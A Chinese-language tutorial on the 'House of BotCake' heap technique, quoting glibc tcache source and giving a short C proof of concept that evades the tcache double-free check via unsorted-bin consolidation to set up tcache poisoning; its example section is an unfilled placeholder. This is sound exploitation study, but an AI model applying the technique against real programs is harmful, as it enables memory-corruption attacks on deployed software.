House_of_BotCake

总结摘要
House_of_BotCake

利用背景

自 glibc 2.29 开始加入了对 tcache 的 double free 检查, 使得之前的 tcache double free 失效

源码解读

tcache 结构体

1
2
3
4
5
6
typedef struct tcache_entry
{
  struct tcache_entry *next;  //链表指针,对应chunk中的fd字段
  /* This field exists to detect double frees.  */
  struct tcache_perthread_struct *key;  //指向所属的tcache结构体,对应chunk中的bk字段
} tcache_entry;

tcache 被置入链表

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
static __always_inline void
tcache_put(mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *)chunk2mem(chunk);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;  //设置所属的tcache

  e->next = tcache->entries[tc_idx];//单链表头插法
  tcache->entries[tc_idx] = e;

  ++(tcache->counts[tc_idx]); //计数增加
}

tcache double free 检查

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
size_t tc_idx = csize2tidx(size);
// 只要tcache不为空,并且这个chunk属于tcache管辖范围,那么这个chunk就有可能已经在tcache中了,所以需要double free检查
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
  /* Check to see if it's already in the tcache.  */
  tcache_entry *e = (tcache_entry *)chunk2mem(p);

  /*
    如果是double free,那么put时key字段被设置了tcache,就会进入循环被检查出来
    如果不是,那么key字段就是用户数据区域,可以视为随机的,只有1/(2^size_t)的可能行进入循环,然后循环发现并不是double free
  */
  if (__glibc_unlikely(e->key == tcache))//剪枝
  {
    tcache_entry *tmp;
    LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx);
    for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
      if (tmp == e)
        malloc_printerr("free(): double free detected in tcache 2");
  }

  if (tcache->counts[tc_idx] < mp_.tcache_count)  //通过检查,放入tcahce中
  {
    tcache_put(p, tc_idx);
    return;
  }
}

动态调试

可以清晰的看到 bk 字段即 key 指向当前线程的 tcache chunk 区域

利用手法

利用思路

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// detail: https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_botcake.c
#include <stdlib.h>
#include <stdint.h>

int main() {
    // malloc chunks
    intptr_t *x[7];
    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
        x[i] = malloc(0x100);
    }
    intptr_t *prev = malloc(0x100);
    intptr_t *victim = malloc(0x100);
    malloc(0x10);

    // free to fill tcache bins
        for(int i=0; i<7; i++){
        free(x[i]);
    }

    free(victim);
    free(prev);
    // Now, victim and prev already merge
    malloc(0x100);
    // double free
    free(victim);

    return 0;
}

利用详解

上述代码内存布局:

1
2
// line 20
free(victim);

1
2
// line 21
free(prev);

此时 prev chunk 和 victim chunk 已经合并

1
2
// line 23
malloc(0x100);

此时申请内存块首先会从 tcache bins 返回内存块

1
2
// line 25
free(victim);

victim chunk 已经被链接进了 tcache bins

只要 malloc 到 prev chunk 这块内存,就可以进行 tcache poisoning attack

漏洞成因

此漏洞的造成是因为 tcache 的检查不严谨导致的, free 函数通过检测当前 chunk 大小是否在 tcache 范围内来判断 double free

1
2
3
4
5
6
7
8
  if (__glibc_unlikely(e->key == tcache))//剪枝
  {
    tcache_entry *tmp;
    LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx);
    for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
      if (tmp == e)
        malloc_printerr("free(): double free detected in tcache 2");
  }

没有考虑到 unsorted bins chunk 被置入 tcache 没有 key 的情况

利用示例

  • write here